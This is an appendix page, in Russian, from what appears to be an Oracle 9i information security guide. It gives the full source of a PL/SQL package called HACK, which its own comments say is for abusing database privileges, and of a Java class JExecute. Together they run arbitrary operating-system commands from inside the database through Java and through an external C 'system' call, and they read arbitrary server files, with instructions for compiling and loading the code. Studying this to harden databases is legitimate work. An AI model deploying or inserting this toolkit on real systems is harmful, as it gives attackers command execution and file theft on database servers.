Информационная безопасность Oracle 9i
Страница 10. Приложение A


    Приложение A – тестовые программы

    A.1 Пакет PL/SQL HACK”


    -- HACK.SQL
    -- (c) 2001, Oracle Corporation
    -- Author: Bridesmaid (Howard Smith)
    --
    -- Пакет HACK, содержащий полезные процедуры для злоупотребления
    -- привилегиями базы данных

    create or replace package hack as
    procedure javaexecute(command varchar2); -- Выполняет команду, используя Java
    procedure sysexecute(command varchar2); -- Выполняет команду, используя SYSTEM
    procedure exists(filename varchar2, dir varchar2);-- Проверяет, существует ли файл
    procedure browse(filename varchar2, dir varchar2);-- Выводит содержимое файла
    end;


    create or replace package body hack as

    --
    -- Определяет функцию PL/SQL wrapper JEXECUTE для класса Java "JExecute", определенного внешне
    --

    function jexecute(command varchar2) return varchar2 is
    language java
    name 'JExecute.JExec(java.lang.String) return java.lang.String';


    --
    -- Удобная для пользователя версия, которая выполняет заданную команду и выводит статус возврата
    --

    procedure javaexecute(command varchar2) is
    result varchar2(32000);
    begin
    dbms_output.enable(1000000);
    result := jexecute(command);
    dbms_output.put_line(result);
    end;

    --
    -- Процедура "обертки" служебного вызова "system", определенного в библиотеке libsys
    --

    function syscall(call varchar2) return binary_integer is
    external
    library libsys
    name "system"
    calling standard c
    parameters(call by reference string, return ub4);

    --
    -- Процедура "обертки" для syscall
    --

    procedure sysexecute(command varchar2) as
    begin
    dbms_output.enable(1000000);
    dbms_output.put_line('Executing: '||command);
    dbms_output.put_line('Command completed with status: ' || syscall(command));
    end;

    --
    -- Проверка существования указанного файла в файловой системе ОС
    --

    procedure exists(filename varchar2, dir varchar2) as
    Lob_loc bfile;
    begin
    dbms_output.enable(1000000);
    dbms_output.put_line('Checking file:'||filename);
    dbms_output.put_line('Directory: '||dir);

    -- Сначала мы должны создать каталог

    declare
    begin
    execute immediate ('create or replace directory hackdir as '''||dir||'''');
    exception
    when others then
    dbms_output.put_line('Directory creation failed'||sqlerrm);
    return;
    end;

    -- Сейчас проверим существование файла

    lob_loc:=bfilename('HACKDIR',filename);

    if (DBMS_LOB.FILEEXISTS(Lob_loc)!= 0) then
    dbms_output.put_line('File exists');
    else
    dbms_output.put_line('File does not exist');
    end if;

    end;

    --
    -- Просмотр заданного файла
    -- Это очень простая демонстрационная программа. Форматирование файла не сохраняется.
    --

    procedure browse(filename varchar2, dir varchar2) as
    Lob_loc bfile;
    Buffer RAW(128);
    Amount BINARY_INTEGER := 128;
    Position INTEGER := 1;
    begin
    dbms_output.enable(1000000);
    dbms_output.put_line('Display file:'||filename);
    dbms_output.put_line('Directory: '||dir);

    -- Сначала мы должны создать каталог

    declare
    begin
    execute immediate ('create or replace directory hackdir as '''||dir||'''');
    exception
    when others then
    dbms_output.put_line('Directory creation failed'||sqlerrm);
    return;
    end;

    -- Сейчас проверим существование файла

    lob_loc:=bfilename('HACKDIR',filename);

    if (DBMS_LOB.FILEEXISTS(Lob_loc)!= 0) then

    declare
    begin
    --открыть файл для чтения

    DBMS_LOB.OPEN(Lob_loc, DBMS_LOB.LOB_READONLY);

    --вывести содержимое файла

    LOOP
    DBMS_LOB.READ(Lob_loc, Amount, Position, Buffer);
    dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(Buffer));
    Position := Position + Amount;
    END LOOP;

    -- закрыть файл и выдать диагностику

    DBMS_LOB.CLOSE(Lob_loc);
    exception
    WHEN NO_DATA_FOUND THEN
    dbms_output.put_line('**End of Data**');
    end;

    else
    dbms_output.put_line('File does not exist');
    end if;
    end;
    end;

    A.2 JExecute.java

    Эта программа используется для демонстрации выполнения произвольных команд с помощью Java, компиляция выполняется следующим образом:


    javac jexecute.java
    для загрузки используйте:
    loadjava jexecute.class -user <пользователь>/<пароль>

    // JExecute.java
    //
    // (c) 2001, Oracle Corporation
    //
    // Author: Bridesmaid (Howard Smith)
    //
    // Простой демонстрационный класс, который может
    // выполнять программу, передаваемую как параметр.

    import java.io.*;

    public class JExecute {
    public static String JExec(String command)
    {
    try {
    Process child = Runtime.getRuntime().exec(command);
    InputStream childout = child.getInputStream();
    InputStreamReader r = new InputStreamReader(childout);
    BufferedReader in = new BufferedReader(r);
    String line;
    String output;
    output = "";
    while((line = in.readLine()) != null) output = output + line + "\n";
    if (child.waitFor() != 0) output = "Execute failed with exit code:" + child.exitValue();
    return (output);
    } catch (Exception e) {
    return("Execute failed with exception:" + e.toString());
    }
    }
    }

 
Следующая статья »